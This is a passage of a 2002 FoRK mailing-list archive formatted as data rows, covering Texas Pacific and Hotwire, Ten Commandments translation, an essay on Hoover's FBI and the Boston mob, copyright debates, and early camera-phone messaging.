quarter MEMC reported its first profit since the fourth quarter of 2000. But Texas Pacific's interest in airlines is clearly sizable. Besides its involvement in Continental, America West and US Airways, the company plans to buy Gate Gourmet, the catering business of the bankrupt Swissair Group. Two years ago, Texas Pacific started a Web-based discount ticket service called Hotwire. It put up most of the $75 million in seed money, then persuaded six airlines to invest with it, said Karl Peterson, the chief executive. Hotwire, instead of asking consumers to bid on tickets, as Priceline does, shows the cheapest ticket on its Web site but does not reveal the exact flight and travel time until after the sale. The contraction of the new economy has undoubtedly hurt Hotwire, which is privately owned. Mr. Peterson said that the company was still unprofitable but that Texas Pacific remains committed to it. Last spring, Mr. Peterson met Mr. Bonderman in Aspen to talk about Hotwire and to go snowboarding. Mr. Bonderman seemed perfectly willing to accompany Hotwire down the steep Internet chute. But he does have his limits on risk, Mr. Peterson discovered. Before going down the mountain, Mr. Bonderman strapped on a helmet. http://www.nytimes.com/2002/08/25/business/yourmoney/25TEXA.html?ex=1031278887&ei=1&en=05fca479b8bcee6b HOW TO ADVERTISE --------------------------------- For information on advertising in e-mail newsletters or other creative advertising opportunities with The New York Times on the Web, please contact onlinesales@nytimes.com or visit our online media kit at http://www.nytimes.com/adinfo For general information about NYTimes.com, write to help@nytimes.com. Copyright 2002 The New York Times Company http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ","""'James Tauber'"" , ","Sun, 25 Aug 2002 10:17:46 -0700",My source: RE: A biblical digression,"Remember I didn't say it was necessarily a good source, just that it looked good. The site was http://www.religioustolerance.org/chr_10c7.htm My memory of what they said was accurate. I do not have the competence to defend what they said. James Tauber's response indicates a breadth of knowledge I can't match. > -----Original Message----- > From: James Tauber [mailto:jtauber@jtauber.com] > Sent: Sunday, August 25, 2002 9:51 AM > To: johnhall@evergo.net; fork@spamassassin.taint.org > Subject: Re: A biblical digression > > On Sat, 24 Aug 2002 11:07:00 -0700, ""John Hall"" > said: > > Ran across a site which claimed to explain the original meaning of the > > Ten Commandments. It seems some of those meanings have evolved a bit, > > too. > > By ""meanings have evolved"" do you [or they] mean that the Hebrew words > have changed meaning or that our understanding of the Hebrew words have > changed? Or do they posit a pre-Mosaic form of the laws that had > evolved by time of the Pentateuch? > > > In particular, there was a claim that the commandment on stealing was > > actually specifically about 'man stealing -- selling a free man into > > slavery. > > This seems bogus to me. A quick check of the text indicates the the > Hebrew word in question is GANAV which elsewhere in the Pentateuch (eg > Gen 44.8) is used to mean steal silver and gold amongst other things. > > In July 1999, I made the following comment in response to a similar > claim about the ""real"" meaning of one of the ten commandments: > > """""" > > The translations since cause problems at each successive remove > > We have the original language versions, though, so this is not an > issue. > > > I'm sure most everyone is familiar with the argument that the meaning of > the commandment > > is 'thou shalt not murder' rather than 'kill,' > > This has nothing to do with successive translations. It is based on our > knowledge of the meaning of the Hebrew word ""ratsach"". Most modern > translations I've seen translate it ""murder"" but elsewhere the word is > used > of an animal killing a human (something for which most English speakers > wouldn't use the word ""murder""). > """""" > - http://www.xent.com/FoRK-archive/july99/0163.html > > > > James > -- > James Tauber > jtauber@jtauber.com http://xent.com/mailman/listinfo/fork",0,1 """James Tauber"" ","johnhall@evergo.net, fork@spamassassin.taint.org","Sun, 25 Aug 2002 16:50:54 UT",Re: A biblical digression,"On Sat, 24 Aug 2002 11:07:00 -0700, ""John Hall"" said: > Ran across a site which claimed to explain the original meaning of the > Ten Commandments. It seems some of those meanings have evolved a bit, > too. By ""meanings have evolved"" do you [or they] mean that the Hebrew words have changed meaning or that our understanding of the Hebrew words have changed? Or do they posit a pre-Mosaic form of the laws that had evolved by time of the Pentateuch? > In particular, there was a claim that the commandment on stealing was > actually specifically about 'man stealing -- selling a free man into > slavery. This seems bogus to me. A quick check of the text indicates the the Hebrew word in question is GANAV which elsewhere in the Pentateuch (eg Gen 44.8) is used to mean steal silver and gold amongst other things. In July 1999, I made the following comment in response to a similar claim about the ""real"" meaning of one of the ten commandments: """""" > The translations since cause problems at each successive remove We have the original language versions, though, so this is not an issue. > I'm sure most everyone is familiar with the argument that the meaning of the commandment > is 'thou shalt not murder' rather than 'kill,' This has nothing to do with successive translations. It is based on our knowledge of the meaning of the Hebrew word ""ratsach"". Most modern translations I've seen translate it ""murder"" but elsewhere the word is used of an animal killing a human (something for which most English speakers wouldn't use the word ""murder""). """""" - http://www.xent.com/FoRK-archive/july99/0163.html James -- James Tauber jtauber@jtauber.com http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org,","Sun, 25 Aug 2002 21:18:34 -0400",TGE: Thugs of South Boston and The Revenge of the Bandit Princess,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thugs of South Boston and The Revenge of the Bandit Princess The Geodesic Economy Robert A. Hettinga Sunday, August 25, 2002 (BOSTON) When you think about it one way, the FBI/Winter Hill vs. Patriarcha/Angiulo Cosa Nostra fight was just another race war between thugs. Put crudely, and at its most racist, the FBI and the Winter Hill Gang were the (mostly) Irish thugs, and Patriarcha's ""family"" were, of course, the (mostly) Italian thugs. Think Scorsese's upcoming ""Gangs of New York"", only with counter-reformatory overtones. Hoover's South Boston ""social-club"" putsch, starting in the mid 1960's, was particularly audacious in hindsight. The U.S. Federal Government actually decided to underwrite a reversal of the prohibition-era capture of the nation's rackets by the Italians from the Irish. The fact that the plot was hatched not for New York, but for South Boston, the most Irish place in the US, only makes even more gigantic the Big Lie that was told by the FBI to its ostensible political masters about bringing down organized crime there once and for all. The result, as we all found out, wasn't swapping the heroin of Italian Boston mob violence for Irish methadone. Hoover was, posthumously, swapping it for Oxycontin, or crystal methamphetamine - -- or, more properly, PCP. The absolute psychopathology of violence in Whitey Bulger's crack-cocaine-era reign of Boston's drug markets, like the identical FBI-sponsored reigns or violent horror by other also-rans in cities across the US as a whole, went up whole orders of magnitude, not mere percentage points. As Stalin said once, quantity has a quality all it's own. And, make no mistake, J. Edgar Hoover was directly responsible that ""quality"" of carnage, nation-wide. So, yes, on paper at least, it really *was* just the swapping of one gang of racist thugs for another, and the result was, on paper, at least, business as usual. Same stuff, different century, with apparently decent people like Mr. Salvati et.al accidently ground on the gears of ""justice"" like so much hamburger. However, to be much more macabre about it, that hamburger was ""greasing"", if you will, an auto de fe only a homicidal lunatic could love: a perfectly functioning market, legislated out of existence -- on paper, if nowhere else -- by government fiat and the, back-door, but still elitist, will to power of H.L. Mencken's famous ""bluenoses and busybodies"". It all starts, like all true evil does, from the most innocent of beginnings. What she couldn't do to alcohol, teatotaling Mrs. Grundy then tried to do to anything else she could think of that had a smaller, ""manageable"" demand. The bloody result was, like nine more heads of the hydra, an increasingly ubiquitous universal prohibition, in more markets, and for more things, as the 20th century wore on. Every time some recreational drug was found to be addictive, or harmful, or physically distasteful, or carcinogenic -- or, now, apparently, fattening -- and then prohibited, exactly the same thing happened to its markets that happened to alcohol during the Volstead years. A *larger* market than before the prohibition. Hugely lucrative profits for anyone with the moral stomach to violently scale newly-legislated ""barriers to competition"" imposed on them by the state. Increasingly violent attacks by the government on users of those substances. And, finally, the ultimate in evil -- the kind of evil this country actually fought wars to end -- increasingly coercive axe-handle beatings, by our own government, of the sacred liberty of the average, but now unavoidably-law-breaking, citizenry. As Ayn Rand cynically observed a long time ago, you don't need government if nobody's breaking the law. In some twisted corollary to Parkinson's Law, governments, to survive, *need* more people, breaking more laws, or they can never justify the money they confiscate at tax time. And, to bring us back to the point, David Friedman would probably echo here his father Milton's famous observation that government regulations only benefit the regulated sellers in a given market, and never the consumer, much less the economy as a whole. Even, *especially*, if those sellers are *breaking* the law, as they are in the increasingly ubiquitous prohibition of risky behavior that our government now imposes on us. And there, absent the apparent grace of Mr. Hoover, went Mr. Salvati. In fact, Hayek himself, in ""The Road to Serfdom"", couldn't have predicted any better the gory consequences of Hoover's blatant imposition, ""for our own good"", of Vietnam-era statist power at the neighborhood level. And, furthermore, *Stalin* couldn't have had better ""useful idiots"" than Hoover did -- and neither, by an absolutely literal extension, did Whitey Bulger after Hoover. Useful idiots on both sides of the congressional aisle. Idiots who were eating out of Hoover's power-craven hand for the entire middle of the 20th century -- and Whitey Bulger's hand, whether they knew it or not, until the end of the millennium. A time, you'll notice, which saw the increasingly steady imposition of ""mob"" violence, and market control, from both state and illegal interests, way beyond the imaginings of even the most power-mad, rum-running, stock-kiting, movie-flopping, bureau-pumping, Nazi-appeasing Irish-Bostonian Little Caesar. Or, as for that matter, his safely trust-funded, and now strictly political, descendents. In terms of actual financial economics, think of what happened to Mr. Salvati and the others, dead or alive, as a ""transfer-price"", in human lives, of the inevitable consequence of MacNamara-style Vietnam-era Keynesian ""social-cost"" input-output accounting at its most despicable, and you can almost begin to fathom the atrocity that was committed by Hoover, and his co-religionists in state economic control, in the name of what really was, as you'll now agree, just a race war between thugs up in Boston. This shouldn't be a surprise, really. All race wars are at least fought by thugs, though they're usually conceived elsewhere, and endorsed, at the time, by all the ""right"" people, for all the ""right"" reasons. As far as the FBI itself goes, remember Mancur Olson's observation that a ""prince"" is just a stationary bandit. Though, given his penchant for women's clothing, for other men, and, what's actually obscene, for violently hypocritical treatment of people of his own affectional preference, I suppose we can call J. Edgar Hoover a bandit ""princess"", instead. ""Bandit Queen"", of course, would be a grievous insult to queens -- and real bandits -- everywhere. Cheers, RAH - --------- http://www.nytimes.com/2002/08/25/national/25FBI.html?todaysheadlines= &pagewanted=print&position=top The New York Times August 25, 2002 Hoover's F.B.I. and the Mafia: Case of Bad Bedfellows Grows By FOX BUTTERFIELD BOSTON, Aug. 24 - It was March 1965, in the early days of J. Edgar Hoover's war against the Mafia. F.B.I. agents, say Congressional investigators, eavesdropped on a conversation in the headquarters of New England's organized-crime boss, Raymond Patriarca. Two gangsters, Joseph Barboza and Vincent Flemmi, wanted Mr. Patriarca's permission to kill a small-time hoodlum, Edward Deegan, ""as they were having a problem with him,"" according to an F.B.I. log of the conversation. ""Patriarca ultimately furnished this O.K.,"" the F.B.I. reported, and three days later Mr. Deegan turned up dead in an alley, shot six times. It was an extraordinary situation: The Federal Bureau of Investigation had evidence ahead of time that two well-known gangsters were planning a murder and that the head of the New England Mafia was involved. But when indictments in the case were handed down in 1967, the real killers - who also happened to be informers for the F.B.I. - were left alone. Four other men were tried, convicted and sentenced to death or life in prison for the murder, though they had had nothing to do with it. One, Joseph Salvati, who spent 30 years in prison, filed notice with the Justice Department last week that he planned to sue the F.B.I. for $300 million for false imprisonment. His is the latest in a series of lawsuits against the F.B.I., the Justice Department and some F.B.I. agents growing out of the tangled, corrupt collaboration between gangsters and the F.B.I.'s Boston office in its effort to bring down the mob. The lawsuits are based on evidence uncovered in the last five years in a judicial hearing and a Justice Department inquiry. But some of the most explosive evidence has only recently come to light, including documents detailing conversation in which Mr. Patriarca approved the murder. They were released as part of an investigation by the House Committee on Government Reform, which has pressured the department into turning over records about the F.B.I in Boston. The documents show that officials at F.B.I. headquarters, apparently including Mr. Hoover, knew as long ago as 1965 that Boston agents were employing killers and gang leaders as informers and were protecting them from prosecution. ""J. Edgar Hoover crossed over the line and became a criminal himself,"" said Vincent Garo, Mr. Salvati's lawyer. ""He allowed a witness to lie to put an innocent man in prison so he could protect one of his informants."" Mr. Barboza was a crucial witness at trial against Mr. Salvati and may have implicated him because Mr. Salvati owed $400 to a loan shark who worked for Mr. Barboza. Asked about the documents showing that Mr. Hoover knew of Mr. Salvati's innocence when he was put on trial, Gail Marcinkiewicz, a spokeswoman for the F.B.I. in Boston, declined to comment, citing the pending litigation. A Justice Department task force is continuing to investigate misconduct in the Boston office. In one of the first results of the investigation, one retired agent, John J. Connolly, is awaiting sentencing next month after being convicted of racketeering and obstruction of justice for helping two other mob leaders who were F.B.I. informers, James Bulger and Stephen Flemmi. Vincent and Stephen Flemmi are brothers. The Government Reform Committee, led by Representative Dan Burton, Republican of Indiana, has uncovered memorandums from the Boston office to headquarters in Washington revealing the bureau's knowledge that Vincent Flemmi and Mr. Barboza were involved in killing Mr. Deegan. A memorandum a week after the killing described the crime, including who fired the first shot. Then, on June 4, 1965, Mr. Hoover's office demanded to know what progress was being made in developing Vincent Flemmi as an informer. In a reply five days later, the special agent in charge of the Boston office said that Mr. Flemmi was in a hospital recovering from gunshot wounds but because of his connections to Mr. Patriarca ""potentially could be an excellent informant."" The agent also informed Mr. Hoover that Mr. Flemmi was known to have killed seven men, ""and, from all indications, he is going to continue to commit murder."" Nevertheless, the agent said, ""the informant's potential outweighs the risk involved."" A Congressional investigator called the exchange chilling. ""The most frightening part is that after being warned about Flemmi's murders, the director does not even respond,"" the investigator said. ""There is no message not to use a murderer as a government informant."" The origin of the corruption scandal was public and political pressure on Mr. Hoover to move more forcefully against the growing power of the Mafia, which he had largely ignored. In Boston, F.B.I. agents recruited Mr. Barboza and Mr. Flemmi and developed close ties to a rival criminal organization, the Winter Hill Gang, led by Mr. Bulger. Both sides got what they wanted, according to the investigations and the trial of Mr. Connolly. The F.B.I. got information that eventually helped destroy the Patriarca and Angiulo families, which controlled organized crime in New England. Mr. Bulger's gang was able to take over the rackets in Boston, sell drugs and even commit murder while the F.B.I. looked the other way. One reason the F.B.I. may not have used its information about Mr. Patriarca's involvement in the Deegan murder, Congressional investigators say, is that it came from an illegal listening device in his Providence, R.I., headquarters. The F.B.I. agent who transcribed the conversation made it appear that the information was coming from unnamed informants, to disguise the use of the device, the investigators say. Mr. Salvati, a former truck driver, now 69, had his sentence commuted in 1997 by Gov. William F. Weld. Last year, while he was still on parole, his murder conviction was dismissed by a Massachusetts state judge after the Justice Department task force made public documents suggesting his innocence. Two of the other wrongly convicted men died in prison. Their survivors have joined the fourth man, Peter Limone, in a $375 million lawsuit against the Justice Department. Mr. Limone was sentenced to die in the electric chair. His life was spared only when Massachusetts outlawed the death penalty in 1974. Mr. Salvati lives in a modest apartment in Boston's North End with his wife, Marie, who visited him in prison every week during those 30 years. Each week Mr. Salvati sent her a romantic card, which she put on the television set. It was, Mr. Garo said, all they had of each other. -----BEGIN PGP SIGNATURE----- Version: PGP 7.5 iQA/AwUBPWmB2sPxH8jf3ohaEQL9qgCgxHq0ee06UEsNv8u8wgvmjf9K7S4An3Rb 3srsGomWjNDwIaKoEHOfNHpI =OELD -----END PGP SIGNATURE----- -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 """James Tauber"" ","johnhall@evergo.net, fork@spamassassin.taint.org","Mon, 26 Aug 2002 14:13:15 UT",Re: My source: RE: A biblical digression,">>From what I read, the rest of it looked quite good so it does seem odd they would make the seemingly incorrect blanket statement about the Hebrew for ""steal"". One possibility is that the page is a summary of information gathered from a variety of sources of varying qualities. James On Sun, 25 Aug 2002 10:17:46 -0700, ""John Hall"" said: > Remember I didn't say it was necessarily a good source, just that it > looked good. > > The site was http://www.religioustolerance.org/chr_10c7.htm > > My memory of what they said was accurate. I do not have the competence > to defend what they said. James Tauber's response indicates a breadth > of knowledge I can't match. -- James Tauber jtauber@jtauber.com http://xent.com/mailman/listinfo/fork",0,1 """RossO"" ",fork@spamassassin.taint.org,26 Aug 2002 08:38:09 -0700,Computational Recreations,"Does anyone here know if the Computational Recreations columns from Scientific American in the 70's/80's were compiled into a book or two? I think I remember Martin Gardner publishing the earlier Mathematical Recreations in a couple of hard covers, but I'm unsure about the later column. Help? ...Ross... http://xent.com/mailman/listinfo/fork",0,1 Michael ,Lucas Gonze ,"Mon, 26 Aug 2002 10:51:29 -0500 (CDT)",Re: The GOv gets tough on Net Users.....er Pirates..,"Hire a really talented skywriter to doodle nudie pics in the sky and see if they figure out what to charge you with. Exactly how far into the sky does the border of your local district reach? > > If the creator didnt say you could have it without paying, it's theft, > > so simple, hell that's even in all the major holy books. > > Wow, I've got a great idea! I'll hire a skywriter to write ""you can't > look at this without paying,"" then lock up everybody who looked at it > and didn't pay! It can't fail -- Jesus is on my side! http://xent.com/mailman/listinfo/fork",0,1 Tom ,RossO ,"Mon, 26 Aug 2002 12:59:07 -0400 (EDT)",Re: Computational Recreations,"On 26 Aug 2002, RossO wrote: --]Does anyone here know if the Computational Recreations columns from --]Scientific American in the 70's/80's were compiled into a book or two? I --]think I remember Martin Gardner publishing the earlier Mathematical --]Recreations in a couple of hard covers, but I'm unsure about the later --]column. Help? --] Not sure about MG, though I know pretty much everything he penned got into print at one time or another. SA needs to do what National Geo did and put out thier back issues on CD. Post MG in the 80's there were the colums by A K Dewdney that I dug a bunch put into a book called Turing Omnibus and then there is , of course, all the goodens put out by Dougy Hoffstadler. http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ","""R. A. Hettinga"" ","Mon, 26 Aug 2002 09:56:55 -0700","Re: ""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts)","R. A. Hettinga wrote: > And then there was the one from Prairie Home Companion: > > Q. Why is a viola larger than a violin? > A. It just looks that way because a violin player's head is bigger. Suggested variation: Q. Why does the concertmaster play a smaller violin than the rest of the violinists? A. It just looks that way because his head is bigger. &c&c&c http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ","""Adam L. Beberg"" ","Mon, 26 Aug 2002 08:26:04 -0700",Re: The GOv gets tough on Net Users.....er Pirates..,"Adam L. Beberg wrote: > Fair use needs to be clarified a bit That's an understatement!!! > How else do i ever have hope of finding a job working for someone > that makes things people are supposed to ... *drumroll* pay for. Well, you could damn well get a fucking better attitude. I practically handed you a job the other week and you pissed all over me. I'm done helping you. You have joined a very exclusive club that up to now has only had my sister as a member. - Joe http://xent.com/mailman/listinfo/fork",0,1 """Jim Whitehead"" ","""FoRK"" ","Mon, 26 Aug 2002 11:28:11 -0700",How unlucky can you get?,"So, last night around 5:30AM I'm woken up by a loud *craaack*, followed by one of the most dreaded sounds a homeowner ever hears: vast quantities of water spilling onto the floor. The water is coming from the bathroom, the toilet specifically. Turns out the water cistern on the top of the toilet had cracked down the side, and was spilling out all the water. So, after shutting off the water and mopping up, I was left to ponder what are the odds of having mechanical failure of a large rectangular porcelain bowl, in the absence of any visible stressors (like someone striking it with a sledgehammer)? We hadn't done anything unusual to the toilet in the recent past -- just normal use. I've *never* heard of this happening to anyone I know. The guts, yeah, they fail all the time. But the storage bowl -- never. Geesh. - Jim http://xent.com/mailman/listinfo/fork",0,1 Tom ,Jim Whitehead ,"Mon, 26 Aug 2002 14:43:23 -0400 (EDT)",Re: How unlucky can you get?,"On Mon, 26 Aug 2002, Jim Whitehead wrote: --]a sledgehammer)? We hadn't done anything unusual to the toilet in the recent --]past -- just normal use. I've *never* heard of this happening to anyone I --]know. The guts, yeah, they fail all the time. But the storage bowl -- never. --] Do you have any Tesla nuts inthe hood? Them hooligans and thier beams.. http://xent.com/mailman/listinfo/fork",0,1 Mike Masnick ,"""Adam L. Beberg"" , Tom ","Mon, 26 Aug 2002 11:41:12 -0700",Re: The GOv gets tough on Net Users.....er Pirates..,"At 01:12 AM 8/24/02 -0700, Adam L. Beberg wrote: >If the creator didnt say you could have it without paying, it's theft, so >simple, hell that's even in all the major holy books. In which world are we talking about? That may be true for the first sale, but once something is out in the world, the ""creator"" loses control... If I buy a chair you built, and then decide to give it away to my neighbor, by you're definition, he just stole from you. >Fair use needs to be clarified a bit and then I hope they start locking >people up. How else do i ever have hope of finding a job working for someone >that makes things people are supposed to ... *drumroll* pay for. Why is it that people don't understand that giving stuff away is a perfectly acceptable tactic in capitalist businesses? In many places, it's called ""advertising"": ""buy one, get one free"", ""free shipping on any order over $25"", ""buy this couch, and get a coffee table for free"", ""free popcorn with any movie rental"", ""free doorprize to the first 100 people who enter"", ""the author will be signing books (for free) at such and such bookstore"". Access to free stuff often helps to sell other stuff. Just because you (and the entertainment industry, it seems) can't be creative enough to come up with a business model to leverage free stuff into paid stuff... don't take it out on the rest of us. Mike http://xent.com/mailman/listinfo/fork",0,1 James Rogers ,fork@spamassassin.taint.org,26 Aug 2002 12:39:29 -0700,Re: The GOv gets tough on Net Users.....er Pirates..,"On Mon, 2002-08-26 at 11:41, Mike Masnick wrote: > > In which world are we talking about? That may be true for the first sale, > but once something is out in the world, the ""creator"" loses control... If I > buy a chair you built, and then decide to give it away to my neighbor, by > you're definition, he just stole from you. There are specific statutory exemptions to the ""first sale"" principle of fair use in the US. For example, audio recordings have such an exemption (dating from the early '80s IIRC), which is why you can't (legally) be in the business of renting audio CDs; the creators can control what you do with it after they've sold it to you. Certain industries would like to extend similar exemptions to other products -- there is no theoretical limit to what Congress could revoke such privileges on. > Access to free stuff often helps to sell other stuff. Just because you > (and the entertainment industry, it seems) can't be creative enough to come > up with a business model to leverage free stuff into paid stuff... don't > take it out on the rest of us. The problem with the entertainment industry is that they engage in business and pricing tactics that make anything Microsoft was ever accused of pale in comparison. If they can't figure out how to make money doing something, they'll actually burn money to make sure no ""industry outsider"" can either for all intents and purposes; control is more important than maximizing profit as long as they can make a profit. They don't need your carrot, so they only engage in reasonable business behavior when you are carrying a very large stick, and few people swing a stick large enough. They are being chronically ""investigated"" by the DoJ for anti-trust, collusion, and similar activities, but that is mostly just for show. Which isn't to say that the entertainment industry won't fall victim to its own stupidity, but their ability to do arbitrary and capricious price manipulation with impunity is going to make it a slow decline. -James Rogers jamesr@best.com http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Mon, 26 Aug 2002 20:15:28 +0000",Re: How unlucky can you get?,"Actually, this is common. I've known a couple of people who have suffered this. Believe it or not, you were lucky. You were home, rather than on vacation, and so you didn't have the intake line flowing onto the floor for two weeks. Now, don't you feel better? _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com http://xent.com/mailman/listinfo/fork",0,1 Ian Andrew Bell ,,"Tue, 20 Aug 2002 15:01:36 -0700",Re: The Curse of India's Socialism,"I think that this and other articles confuse Socialism with Bureaucracy. Libertarianism as implemented in North America is not exactly the shining pinnacle of economic efficiency. Just try starting a telephone company in the US or (even worse) Canada. It can take a year or more to get the blessing of our own ""Permit Rajs"" at the FCC, PUC, and PTTs (or, in the decidedly more socialist leaning Canada, Industry Canada and the CRTC). Yet, despite all of this intense regulation and paper pushing, as well as regulatory scrutiny by the FTC, SEC, and IRS, the executives of Telecom Companies have managed to bilk the investment community for what looks to be tens of billions of dollars. They finished their routine with the a quadruple lutz -- laying off hundreds of thousands of workers when it all came crashing down. So.. tell me again.. how are we better off? -Ian. On Tuesday, August 20, 2002, at 12:09 PM, John Hall wrote: > The Mystery of Capital: Why Capitalism Triumphs in the West and Fails > Everywhere Else -- by Hernando De Soto > > Is something I'm reading now. > > My impression is that France is not anywhere near the ""Permit Raj"" > nightmare that India is (and became). Nor has its market been closed > like India's has. > > But De Soto's work is perhaps just as important or more so. He hasn't > dealt specifically with India, but I recall examples from Peru, > Philippines, and Egypt. In Lima, his team took over a year (I think it > was 2) working 8 hr days to legally register a 1 person company. > In the > Philippines, getting legal title can take 20 years. In Egypt, > about 80% > of the population in Cairo lives in places where they are officially > illegal. > > India hasn't been helped by its socialism. Socialism has certainly > helped strangle the country in permits. But perhaps De Soto is right > that the real crippling thing is keeping most of the people out of the > legal, official property system. > > Putting most of the people in the property system was something > the west > only finished about 100 years ago, or Japan did 50 years ago. It > wasn't > easy, but we live in a society that doesn't even remember we did it. > > >> -----Original Message----- >> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of > Robert >> Harley >> Sent: Tuesday, August 20, 2002 11:24 AM >> To: fork@spamassassin.taint.org >> Subject: Re: The Curse of India's Socialism >> >> RAH quoted: >>> Indians are not poor because there are too many of them; they are > poor >>> because there are too many regulations and too much government >> intervention >>> -- even today, a decade after reforms were begun. India's greatest >> problems >>> arise from a political culture guided by socialist instincts on the > one >>> hand and an imbedded legal obligation on the other hand. >> >> Nice theory and all, but s/India/France/g and the statements hold just >> as true, yet France is #12 in the UN's HDI ranking, not #124. >> >> >>> Since all parties must stand for socialism, no party espouses >>> classical liberalism >> >> I'm not convinced that that classical liberalism is a good solution >> for countries in real difficulty. See Joseph Stiglitz (Nobel for >> Economics) on the FMI's failed remedies. Of course googling on >> ""Stiglitz FMI"" only brings up links in Spanish and French. I guess >> that variety of spin is non grata in many anglo circles. >> >> >> R >> http://xent.com/mailman/listinfo/fork > > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 """Rob Shavell"" ","""'Eugen Leitl'"" ,","Tue, 20 Aug 2002 23:36:13 -0700",RE: sprint delivers the next big thing??,"thx for the thoughts gentlemen (yes as someone said i use terms loosely) - more than cool ---> quality: snobs only care about mpixels. this is about communications. the general public cares about speed not quality. how is akamai doing these days? not to mention any other QOS businesses that come to mind. implementation: point about hooking to usb, wires, etc. AGREE 100%. these implementations are super clunky, attachable camera needs to be integrated a la nokia model. basically useless until better handsets are released i think. adoption: ian brought up the 'fax' problem. brilliant thing is, this is far more personal than faxes so can be justified more easily and marketed in family packs etc. but yes, the usual rules apply as MMS phones have network efx. content: who cares about content? that no one can think of 'useful' content is always the business persons mistake. the content is the users communications. its anything and everything. avg person could easily send half dozen pics to a dozen people a day. mainly humorous i'd guess. who cares if content is trivial in nature. picture speaks a thousand words. display: why are dig camera displays better than cell phones? does anyone know who makes these small displays and what the trends are around them? misc ramblings: i suppose you skeptical forkers would have said the same thing about '1 hour photo' processing. trivial, who needs it, i get better resultion elswhere. and yet, it had great decentralizing impact - the plant had to be downsized and pushed to the retail operation - the digital camera, and finally the integrated digital camera phone brings this cycle of decentralization in photography to a logical conclusion (which will put the photo giants to bed) and change the world in a meaningful way. also, SMS didn't take off because its easy, it took off because it costs less. its greatly ironic the carriers often trumpet the 'profitabilty' of their SMS traffic over others because of its ratio of cost to bandwidth. in reality, SMS cannibilizes the voice rev's they bought their networks to handle. ps: it is relatively amusing that one 'low resolution' complaint dropped just after Joe watched a CARTOON on his television.. You're right. Or at least, I don't. I saw an advert for it on TV last night (can't miss Futurama :-) and I thought, ""boy, that's dumb."" If I wanted to share pictures with someone, I'd email them to them, where they could see them on a 1024x or 1600x display, instead of rob -----Original Message----- From: Eugen Leitl [mailto:eugen@leitl.org] Sent: Monday, August 19, 2002 1:34 AM To: Rob Shavell Cc: fork@spamassassin.taint.org Subject: Re: sprint delivers the next big thing?? On Sun, 18 Aug 2002, Rob Shavell wrote: > down in the tech world than mobile visual communications.. and yet no one > seems to give much of a damn that right now that 2 persons can take photos > and share them instantly across space. this is one of the biggest - and The word ""trivial"" comes to mind. > last - fundamental changes in human communications. will be as big as the > browser. Remote realtime streaming video is neat, but sharing pictures? You invoke big words rather readily. http://xent.com/mailman/listinfo/fork",0,1 """Rob Shavell"" ","""'Mike Masnick'"" ","Wed, 21 Aug 2002 01:10:50 -0700",RE: sprint delivers the next big thing??,"right Mike, i will agree to disagree but i take your comments to heart. my opinion is only that this is one of the last frontiers of communications ('instant show') that we cross easily (though you are right as rain on pricing). i am mildly amused at the level of skepticism and innatention it is getting. my premise is that the world will change in dramatic and unexpected ways once there are a billion 'eye's' which can instantly share what they see amongst each other. that doesn't mean that people will stop talking on their phones, or that people will spend more time w/images than voice. just that it is fundamental. from news to crime to privacy to dating to family life to bloopers and practical jokes, i believe there will be an explosion of images unleashed specifically by cell phone integrated lenses because of their utter ubiquity that dwarfs all pictures taken in the history of photography by orders of magnitude and in short order. and yes, changes things 'big time'. rgds, rob -----Original Message----- From: Mike Masnick [mailto:mike@techdirt.com] Sent: Tuesday, August 20, 2002 11:58 PM To: Rob Shavell Cc: fork@spamassassin.taint.org Subject: RE: sprint delivers the next big thing?? Not to keep harping on this, but... At 11:36 PM 8/20/02 -0700, Rob Shavell wrote: >content: who cares about content? that no one can think of 'useful' content >is always the business persons mistake. the content is the users >communications. its anything and everything. avg person could easily send >half dozen pics to a dozen people a day. mainly humorous i'd guess. who >cares if content is trivial in nature. picture speaks a thousand words. This does nothing to answer my question. I *do* care about content. Hell, if I could be convinced that people would send stupid pics back and forth all day, I'd have a different opinion of this. I just am not convinced that they will (stupid or not). While a picture may be worth a thousand words (and this is the same argument the guy who works for me made), how many people do you know who communicate by pictures? Sure, it sounds nice to say that a picture is such an efficient messaging mechanism, but how often do you actually find yourself drawing someone a picture to explain something? I don't buy it. For most messages, text works fine and is the most efficient mechanism. For some messages, pictures do the job, but I would say not nearly as often as words. Why do you think Pictionary and Charades and such are games? Because images are usually not the most efficient way to get a message across. >misc ramblings: i suppose you skeptical forkers would have said the same >thing about '1 hour photo' processing. trivial, who needs it, i get better >resultion elswhere. and yet, it had great decentralizing impact - the plant >had to be downsized and pushed to the retail operation - the digital camera, >and finally the integrated digital camera phone brings this cycle of >decentralization in photography to a logical conclusion (which will put the >photo giants to bed) and change the world in a meaningful way. also, SMS >didn't take off because its easy, it took off because it costs less. its >greatly ironic the carriers often trumpet the 'profitabilty' of their SMS >traffic over others because of its ratio of cost to bandwidth. in reality, >SMS cannibilizes the voice rev's they bought their networks to handle. Again, this is the same argument my colleague made (along with ""you just don't understand kids today, and they'll run with this""). I wasn't saying that MMS wouldn't take off because it wasn't high quality or that it wasn't easy. I was saying that I couldn't see why people would use it in a way that ""changed the face of communications"". I'm looking for the compelling reason (even if it's a stupid one) why people would want to do this. Sure, if they integrate cameras into the phone, and the quality improves (even only marginally) I can certainly see people taking pictures with their cameras and occasionally sending them to other people. But, mostly, I don't see what the benefit is to this over sending them to someone's email address, or putting together an online (or offline) photoalbum. I don't think 1 hour photos are trivial. People want to see their own pics right away, and the quality is plenty good enough for snapshots. That's one of the main reasons why digital cameras are catching on. The instant view part. I'm guessing your argument is that people not only want ""instant view"", but also ""instant show"". Which is what this service offers. I'm not convinced that most people 